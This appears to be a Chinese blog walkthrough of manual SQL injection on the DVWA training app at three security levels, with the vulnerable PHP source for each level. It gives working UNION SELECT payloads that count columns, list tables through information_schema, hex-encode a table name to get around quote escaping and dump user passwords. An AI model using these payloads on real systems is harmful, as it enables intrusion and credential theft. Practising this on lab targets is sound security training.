DVWA SQL注入之手工注入

版权声明:本文为博主原创文章,转载请注明原创链接! https://blog.csdn.net/qq_39112646/article/details/88714715

本次使用的靶机是看雪论坛为我们提供的在线靶机

地址:http://43.247.91.228:81

账号:admin

密码:password


一:Low级别注入

 1. 先在文本框中输入1,单击submit,查看效果

手注的思路:确定页面使用了多少个字段,然后确定各个字段的位置,最后构造SQL语句进行注入

 2. 在文本框中输入 1' order by 2# 返回正常  1'order by 3# 报错,说明有两个字段

此时带入查询的语句是:

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '1'order by 2#'"; 

3. first name后面显示的是第一个字段的,surname后面显示的第二个字段。现在确定了字段的位置,有两个位置可以进行注入,构造我们自己的SQL语句进行注入

1' union select 1,version()#

1' union select database(),2#

4. 已经知道数据库的名字,可以通过系统数据库information.schema的table表得到DVWA库中的所有表

1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

 5. 知道了库中表有guestbook和users,需要知道user表中的字段

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

6. 现在可以查看表中的所有数据了

1' union select 1,group_concat(user_id,first_name,last_name,user,password,avatar) from users#

7. 如果需要处理其他表,按照这个顺序来一遍即可

程序源码:

<?php     

if(isset($_GET['Submit'])){ 
     
    // Retrieve data 
     
    $id = $_GET['id']; 

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 

    $num = mysql_numrows($result); 

    $i = 0; 

    while ($i < $num) { 

        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name"); 
         
        echo '<pre>'; 
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
        echo '</pre>'; 

        $i++; 
    } 
} 
?>

二:Medium级别注入

查看源码可以发现 对传递的参数id进行了过滤 (' '')mysql_real_escape_string($id)

<?php 

if (isset($_GET['Submit'])) { 

    // Retrieve data 

    $id = $_GET['id']; 
    $id = mysql_real_escape_string($id); 

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; 

    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 
     
    $num = mysql_numrows($result); 

    $i=0; 

    while ($i < $num) { 

        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name"); 
         
        echo '<pre>'; 
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
        echo '</pre>'; 

        $i++; 
    } 
} 

1. 查看字段数量

2.查看数据库

3. 查看表

当table_schema='dvwa'报错

使用如下的方式,不适用单引号

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

4. 查看字段

1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

改表名为十六进制

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

5.查看所有数据

 1 union select 1,group_concat(user_id,first_name,last_name,user,password,avatar) from users#

三:High注入 

<?php 

if( isset( $_SESSION [ 'id' ] ) ) { 
    // Get input 
    $id = $_SESSION[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;"; 
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' ); 

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Get values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    mysql_close(); 
} 

?>

和low级别的代码没有太大区别,只是加上了一个limit 1 限制条件, 通过#可以将其注释掉

输入参数和显示的结果分开

猜你喜欢

转载自blog.csdn.net/qq_39112646/article/details/88714715